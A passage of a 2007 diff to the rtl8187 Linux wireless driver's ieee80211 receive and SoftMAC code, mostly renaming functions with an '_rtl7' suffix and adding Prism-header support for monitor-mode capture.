#include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +253,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +549,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +641,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1221,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1238,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1328,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1387,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1405,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1413,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-06-21 23:51:28.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + 